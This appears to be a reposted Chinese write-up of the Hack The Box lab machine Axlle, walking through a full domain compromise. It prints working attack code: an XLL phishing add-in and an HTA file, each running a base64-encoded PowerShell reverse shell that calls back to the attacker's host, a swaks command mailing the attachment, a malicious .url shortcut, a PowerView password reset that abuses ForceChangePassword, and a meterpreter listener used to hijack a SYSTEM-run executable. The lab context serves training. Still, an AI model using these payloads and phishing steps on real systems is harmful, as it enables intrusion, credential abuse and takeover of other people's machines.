长亭百川云 - 文章详情

跟着大佬学渗透之高级篇07

牧之

96

2024-07-13

前言

今天的靶机依然是HTB(Hack The Box)的靶机--Axlle。通过这次的靶机训练,我们可以继续了解邮件钓鱼的攻击方式,也可以继续熟悉域渗透工具BloodHound的使用。

选择HTB的Axlle靶机,下载HTB的VPN。

  • Kali

将HTB的vpn文件put到kali中,使用命令 openvpn + ovpn文件路径 命令开启vpn连接。连接成功会在HTB网页右上角显示CONNECTIONS

2、扫描开放端口

使用nmap命令扫描开放端口:

nmap xxx.xxx.xxx.xxx -sV -sC -p- -T4 -Pn 


列举几个比较重要的端口:25(smtp)、88(kerberos),135、593(RPC),139、445(SMB),389、3268、3269(Ldap)

3、寻找漏洞尝试利用

尝试smb匿名访问、ldapsearch匿名搜索:

因为开放了smtp服务,接下来尝试smtp用户枚举:

smtp用户枚举并没有什么发现,接下来将域名解析记录添加至/etc/hosts,尝试子域名扫描:

尝试路径爆破:

都没有什么发现后,只能回头看看80页面有没有什么功能,或者有什么遗漏的信息

其中有一个疑似邮件钓鱼的提示(并且 nmap 扫描结果也发现开放了25端口)可以向accounts@axlle.htb 发送 Excel格式内容的邮件。

尝试 excel 宏钓鱼,但是失败了。经过搜索,发现可以用 XLL 执行 Shellcode,(xll 跟靶机名称也符合)

https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/

下面就是构造一个xll文件,去执行shellcode。

https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xll-exec

先在kali中安装依赖:

生成反弹shell的shellcode(最终尝试用powershell版本成功):

结合之前博客给出的示例,编写expliot.c:

#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
    WinExec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA3ADcANwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==", 1);
}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将expliot.c编译为reverse.xll,命令如下:

x86_64-w64-mingw32-gcc -fPIC -shared -o reverse.xll exploit.c -luser32

通过 swaks 命令,将生成的reverse.xll 以附件形式发送邮件 到 accounts@axlle.htb

swaks --to accounts@axlle.htb --from it@axlle.htb --server 10.129.xxx.xxx --port 25 --header "Subject: reverse" --body "check" --attach @reverse.xll

kali先nc开启端口监听,待swaks发送邮件后就能拿到gideon.hamill用户的shell

在这个用户的目录下,并未发现Flag文件。

分析本地文件,发现邮件服务是hMailServer,在Data目录下会存放一些用户的邮件数据:

访问 Data\axlle.htb\dallon\matrix\2F 目录,发现一个邮件文件:

邮件上说 可以 往 C:\inetpub\testing 目录, 上传快捷方式 他们会测试自动化。因为邮件中也提示了“Yours in click-worthy URLs”,所以新建后缀为url的快捷方式。这边快捷方式的内容是通过文件共享访问 kali 的 shell.hta,hta文件可以直接在windows上运行,可以直接访问系统资源和文件,也可以执行系统命令。

创建名为 rev.url 的快捷方式并指向 file://10.10.xx.xx/share/shell.htb,我们将会在 10.10.xx.xx(kali内网ip) 上起一个 smb 服务,用于共享我们的 shell.hta 文件。

若没windows环境,也可以在kali创建快捷方式文件rev.url,内容为:

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
URL=file://10.10.xx.xx/share/shell.hta

创建shell.hta文件,hta 示例脚本的编写可以参考:https://gist.github.com/leoloobeek/31b2bbc5f129650c2a67bb40d14282ab

修改示例内容如下,其中 Shellcode内容为 Powershell 反弹 Shell,下列代码为 shell.hta 文件中的内容

<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA2ADYANgA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

将创建的 rev.url 快捷方式文件、shell.hta 文件 放到同一目录下

kali在 shell.hta 所在的目录开启 smb 服务:

impacket-smbserver -smb2support share .


在rev.url所在目录开启http服务:

靶机进入 C:\inetpub\testing 目录 wget下载快捷方式文件 rev.url

在靶机下载快捷方式文件 rev.url 前,先 nc 开启端口监听,待 C:\inetpub\testing 目录下载rev.url 后就能成功拿到 dallon.matrix 用户的 shell

读取桌面目录(C:\Users\dallon.matrix/Desktop)下用户flag:

4、提权

上传 SharpHound 进行域内信息收集:

kali开启smb服务,将sharphound的结果上传到kali:

查看bloodhound的结果:

可以发现 web devs@AXXLLE.HTB 组 对用户 JACOB.GREENY 和 BAZ.HUMPHRIES 有 ForceChangePassword权限,可以修改用户 JACOB.GREENY 和 BAZ.HUMPHRIES 的密码

而当前获取的用户 dallon.matrix 在 WEB DEVS 组中

下载 PowerView.ps1 修改用户 JACOB.GREENY 和 BAZ.HUMPHRIES 的密码,接下来修改 JACOB.GREENY用户的密码

命令如下:

. ./PowerView.ps1
$pass = ConvertTo-SecureString 'Say!d12Lq3#56' -AsPlainText -Force
Set-DomainUserPassword -Identity Jacob.Greeny -AccountPassword $pass

evil-winrm登录JACOB.GREENY

在 JACOB.GREENY 这个用户中,App Development\kbfiltr 目录下 有个README.md 文件

读取README.md

其中说到,会自动以SYSTEM身份运行 C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe

这疑似是个自动执行的任务,并且 standalonerunner.exe 是以 System 身份运行的。

进入目录

C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64

发现 standalonerunner.exe 可执行文件

icacls 查看文件的访问控制列表(ACLS)

I、表示 "继承"

R、表示 "读取" 权限(Read)

F:表示 "完全控制" 权限(Full control)

RX:表示 "读取和执行" 权限(Read and eXecute)

可以发现这个 exe 文件有完全控制权限

接下来就是 替换这个 exe(exe劫持),拿到管理员shell

msfvenom 生成反弹 shell 的exe文件,重命名为 standalonerunner.exe

利用msfconsole 开启端口监听

msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set lhost 10.10.14.11; set lport 443; exploit"

靶机下载 msfvenom 生成的 standalonerunner.exe

成功获取 管理员 shell

读取 root flag

5、总结

这个靶机先是利用xll钓鱼获取gideon.hamill用户的shell,然后通过快捷方式钓鱼获取dallon.matrix 用户的shell,提权部分则是利用BloodHound进行域内信息收集,发现可以修改JACOB.GREENY 这个用户的密码,然后通过exe劫持拿到管理员权限。总体来说还是有些难度的,同时也挺有趣的。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2